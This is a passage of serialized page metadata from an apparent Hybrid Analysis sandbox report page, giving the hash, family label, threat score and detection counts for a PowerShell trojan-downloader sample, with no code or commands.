Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 48a683e97f9f…. Malware family: UDS_TrojanDownloader_PowerShell_Agent. Threat score 100/100. 1/26 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious UDS_TrojanDownloader_PowerShell_Agent Sample 48a683e97f9f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 48a683e97f9f…. Malware family: UDS_TrojanDownloader_PowerShell_Agent. Threat score 100/100. 1/26 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6d","11",{}]]